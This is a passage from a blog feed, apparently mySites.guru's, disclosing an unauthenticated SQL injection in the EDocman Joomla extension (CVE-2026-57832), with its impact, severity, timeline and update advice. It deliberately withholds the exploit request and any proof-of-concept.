&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder’s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the corrected SP Page Builder patch, shipped after we found two more gaps in JoomShaper’s Joomla 3 back-port.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://endoflife.date/joomla&quot;&gt;Joomla End of Life dates&lt;/a&gt; - which Joomla versions are still supported.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>joomshaper</category><category>end-of-life</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/joomshaper-reverses-joomla-3-decision.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in EDocman found by mySites.guru</title><link>https://mysites.guru/blog/edocman-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/edocman-sql-injection-disclosure/</guid><description>mySites.guru found an unauthenticated SQL injection in EDocman for Joomla that let anyone read the whole database. Fixed in 3.9.0 - update now.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;EDocman&lt;/a&gt; is one of the most widely installed document and download management extensions for Joomla. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in EDocman and reported it privately to JoomDonation, who fixed it in EDocman 3.9.0.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you run EDocman on any Joomla site, update to 3.9.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the same class of flaw we recently found and reported in &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;: a public front-end endpoint that trusts request input it should not.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered this security issue and reported it privately to the EDocman team. JoomDonation has now released the fix in EDocman 3.9.0. We are still withholding the exact request and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in EDocman for Joomla and reported it responsibly to the vendor&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EDocman 3.8 and earlier&lt;/strong&gt; are affected, and the vulnerable feature is long-standing. JoomDonation fixed it in &lt;strong&gt;EDocman 3.9.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A public front-end endpoint places a request parameter straight into a database query, so a single &lt;strong&gt;anonymous request could read data from any table&lt;/strong&gt;: user accounts, password hashes, stored content, other Joomla API secrets, everything in the database&lt;/li&gt;
&lt;li&gt;We did not stop at theory. We &lt;strong&gt;proved a full database read&lt;/strong&gt; on a test install, pulling back the site’s Super User account and confirming the database connected as the MySQL superuser, so the read reached &lt;strong&gt;every database on that server&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to EDocman 3.9.0 now.&lt;/strong&gt; If you cannot update immediately, make sure a SQL-filtering firewall is in front of the site as a stopgap&lt;/li&gt;
&lt;li&gt;We are still withholding the exact request and any proof-of-concept while site owners update&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;EDocman exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted a request parameter and placed it into a database query &lt;strong&gt;without sanitising or quoting it&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;. Joomla’s standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax: it removes tags and leaves quotation marks, parentheses and SQL keywords untouched. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first, and it works in a single request.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and password reset tokens&lt;/li&gt;
&lt;li&gt;Article and content records, extension configuration, session data and other stored values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing the exact request, the affected endpoint or a working proof-of-concept. The point of this post is to get people onto 3.9.0, not to hand attackers a recipe while sites are still updating.&lt;/p&gt;
&lt;h2&gt;This was a full database compromise, and we proved it&lt;/h2&gt;
&lt;p&gt;It is one thing to say a flaw “could” read the database. We confirmed it against a real EDocman install and read the data back. On a local test site running EDocman 3.8, a single anonymous request returned:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;strong&gt;database version&lt;/strong&gt; and the name of the live database&lt;/li&gt;
&lt;li&gt;the identity of the account the site connects to MySQL with, which was the &lt;strong&gt;MySQL superuser&lt;/strong&gt; (&lt;code&gt;root&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;the site’s &lt;strong&gt;Super User record&lt;/strong&gt; pulled straight out of the Joomla users table&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last point is the whole game. If an anonymous stranger can read the Super User row, they can read every row: every user account, every bcrypt password hash, every password reset token, other Joomla API secrets, order records or API keys stored anywhere in the database. Confidentiality here is gone entirely, not partially affected.&lt;/p&gt;
&lt;p&gt;There is an aggravating factor that makes this worse than one leaked site. On many Joomla installs, and on the one we tested, the database account the site connects with is &lt;strong&gt;highly privileged&lt;/strong&gt;. Where that is the case, a read-only injection like this one is not limited to the one site’s tables: it can read &lt;strong&gt;every database on that MySQL server&lt;/strong&gt;, including the server’s own internal user table that holds every account’s hash. A single injection can reach an entire shared database host, not just one Joomla site. That is why “it is only a read” is cold comfort. A read of everything is a compromise.&lt;/p&gt;
&lt;h2&gt;Error-based and blind: both routes work here&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection, and this endpoint is exposed to both.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;fast&lt;/strong&gt; one is error-based. Where a site returns database errors to the browser, whether through Joomla’s debug mode, PHP’s &lt;code&gt;display_errors&lt;/code&gt;, or a third-party error page or template that echoes the exception, an attacker forces the database to fail in a way that prints real data inside the error text. Each request comes back with dozens of characters of actual database content, so a Super User hash falls out in a handful of requests. We saw this fire on the test site even with Joomla debug switched off, because a third-party extension’s error page leaked the database exception on its own.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;quieter&lt;/strong&gt; one is blind. Where errors are fully suppressed, the response does not print anything useful, so the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than &lt;code&gt;m&lt;/code&gt;?) and reads the answer from how the page behaves. It is slower, and it is not smaller. Automated tooling walks a database out one bit at a time in seconds of wall-clock, and the end state is identical: the full contents of every table an anonymous request can reach. Do not read “blind” as “limited”. Blind is a throughput detail for the attacker, not a safety margin for you.&lt;/p&gt;
&lt;p&gt;If you have not met blind SQL injection before, this short explainer from Indusface walks through the exact mechanics:&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;None of this needs anything clever or new. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated both error-based and blind extraction and dumped entire databases point-and-click since 2006. A flaw a human would find tedious to exploit by hand is a single command that has been public for the better part of twenty years. The only reliable answer has always been the same one: update the affected code.&lt;/p&gt;
&lt;h2&gt;The changelog understates how serious this is&lt;/h2&gt;
&lt;p&gt;JoomDonation fixed this quickly, and released EDocman 3.9.0 the same day, which is to their credit. The problem is what the release notes tell a site owner. The security items in &lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;JoomDonation’s own 3.9.0 release announcement&lt;/a&gt; read, in full (to see it yourself, open that product page and select the &lt;strong&gt;About Latest Version&lt;/strong&gt; tab):&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation&apos;s EDocman 3.9.0 release notes, in full&lt;/p&gt;&lt;div&gt;&lt;p&gt;Fixed a reported front-end SQL injection vulnerability.&lt;/p&gt;&lt;p&gt;Improved database query handling and input validation.&lt;/p&gt;&lt;p&gt;Strengthened security for public front-end tasks.&lt;/p&gt;&lt;p&gt;Improved filtering for document, category, and date parameters.&lt;/p&gt;&lt;p&gt;Added safer redirect validation to prevent open redirect issues.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is the language of routine maintenance. “Improved input validation” and “strengthened security” are the words you use for a tidy-up, not for an emergency. A busy administrator skims that, files it under “housekeeping”, and leaves the update for next month.&lt;/p&gt;
&lt;p&gt;Here is what those five lines actually describe. “A reported front-end SQL injection” is an &lt;strong&gt;unauthenticated, no-login, single anonymous request that reads the entire database&lt;/strong&gt;, password hashes included, and on a privileged database account reads every other database on the server too. The changelog does not say unauthenticated. It does not say full database read. It does not say password hashes. Read on its own, it gives no reason to treat this as urgent, which is exactly the reason it is urgent: understatement is what keeps a critical hole open, because it persuades people not to patch.&lt;/p&gt;
&lt;p&gt;The changelog is also telling on itself. Those last two lines, “improved filtering for document, category, and date parameters” and “safer redirect validation”, confirm that the front-end SQL injection was &lt;strong&gt;not the only issue in that code&lt;/strong&gt;. During the same audit we flagged additional raw request values reaching front-end queries, and an unvalidated redirect, and 3.9.0 hardened exactly those areas. One line in a changelog, several fixes underneath it. Treat 3.9.0 as the security release it is, not the maintenance release it reads like.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a firewall that inspects request parameters can recognise and block many injection attempts before they reach EDocman. That is worth having, but it is a layer, not a guarantee: rules differ between products and configurations, injections can be encoded to slip past filters, and a firewall you have not tested against this specific flaw is an assumption, not a control. Sites running bare, with nothing inspecting requests, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The site’s own configuration&lt;/strong&gt;, including how much a database error reveals and how privileged the database account is. Where errors reach the browser, extraction is fast and loud; where they are suppressed, it is slow and quiet. Neither configuration makes the underlying flaw safe.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;This is the case for defence in depth. A SQL-filtering firewall in front of the site can buy you time against an injection like this, which is exactly why running one is worth it. It does not mean you can skip updating. You need both the firewall and the update.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;A firewall is mitigation, not a fix. The only reliable remedy is to update EDocman to 3.9.0.&lt;/p&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt;, the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on, and even then only if that filtering is actually enabled. The short version applies here directly: update EDocman.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;EDocman &lt;strong&gt;3.8&lt;/strong&gt;, the current release at the time of discovery, contains the affected code path. The vulnerable feature has been part of the extension for a long time, so earlier 3.x releases (and likely older builds) share it. Treat &lt;strong&gt;any EDocman at or below 3.8&lt;/strong&gt; as affected. &lt;strong&gt;JoomDonation fixed the issue in EDocman 3.9.0.&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;&lt;p&gt;EDocman 3.9.0 fixes this. Update now, and do not wait to confirm exploitation: by the time you can confirm it, the data is already gone. If you cannot update immediately, make sure a SQL-filtering firewall is in front of any site running EDocman as a stopgap. This vulnerability is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How do you update EDocman safely?&lt;/h2&gt;
&lt;p&gt;JoomDonation released EDocman 3.9.0 with the fix. Update straight away. The steps are the same as any Joomla extension update:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EDocman 3.9.0. If it does not appear, use Find Updates, or download the latest package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from a single dashboard&lt;/a&gt;. We built the update runner to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push Joomla extension updates to thousands of sites at once&lt;/a&gt;, and you can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then EDocman, and check the version shown is &lt;strong&gt;3.9.0 or later&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat exposed data and any stored credentials as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every EDocman site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EDocman once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every EDocman install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for EDocman across every connected Joomla site and filter for anything on 3.8 or earlier to find the installs that still need the update. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen. When a fix ships, we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of EDocman is flagged automatically. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand.&lt;/p&gt;
&lt;h2&gt;Why document and download extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Document managers, download managers and newsletter tools make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Download links, category listings, unsubscribe links, search boxes, none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across newsletter tools like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, calendar components like &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;: a public request that reaches a database query or a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not “avoid document extensions”. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. A document extension two versions behind is not a cosmetic problem, and as this changelog shows, a release that reads like housekeeping can be closing a hole in your whole database.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This EDocman flaw is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, fixed in 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (CVSS 8.7). The same shape again in a widely used calendar component, fixed in 10.11.2 and 8.19.4, with Digital Peak crediting us publicly for the find.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. EDocman is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end endpoints like this one keep producing the bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this EDocman flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running EDocman to &lt;strong&gt;3.9.0&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you cannot update immediately, make sure a SQL-filtering web application firewall is in front of any site running EDocman, and remember it is mitigation, not a fix&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, rotate exposed credentials and other Joomla API secrets, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. We score it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;. It is a read-only injection, so it stops short of the maximum 10.0 you see on file-upload flaws that end in remote code execution: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash and other Joomla API secrets. Where the site’s database account is privileged, as it was on the install we tested, the practical impact is higher still, because the read reaches every database on that MySQL server, not just the one site.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Our own assessment, pending an official score&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated, exploitable over the internet in a single request with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;No user interaction&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57832/&quot;&gt;CVE-2026-57832&lt;/a&gt; (assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;EDocman for Joomla (&lt;code&gt;com_edocman&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;3.8 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;3.9.0 (released 14 July 2026)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-12&lt;/strong&gt; We find the injection and report it privately Routine security research on the extensions our customers rely on turns up the unauthenticated SQL injection in EDocman 3.8. We confirm it against the code, prove it on a local install that reads database contents back through a single anonymous request, and disclose it to JoomDonation with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-14&lt;/strong&gt; JoomDonation releases EDocman 3.9.0 The fix closes the reported front-end SQL injection and adds tighter input validation on document, category and date parameters plus safer redirect validation. We verify it, flag every connected site below the fix, and publish this write-up with no proof of concept.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; The Joomla CNA assigns CVE-2026-57832 Crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This EDocman flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Our DPCalendar SQL injection disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of flaw in other Joomla extensions, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the official references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;EDocman product page and 3.9.0 release announcement&lt;/a&gt; - where 3.9.0 is available to download; open the &lt;strong&gt;About Latest Version&lt;/strong&gt; tab to read JoomDonation&apos;s own release notes.&lt;/li&gt;
&lt;/ul&gt;
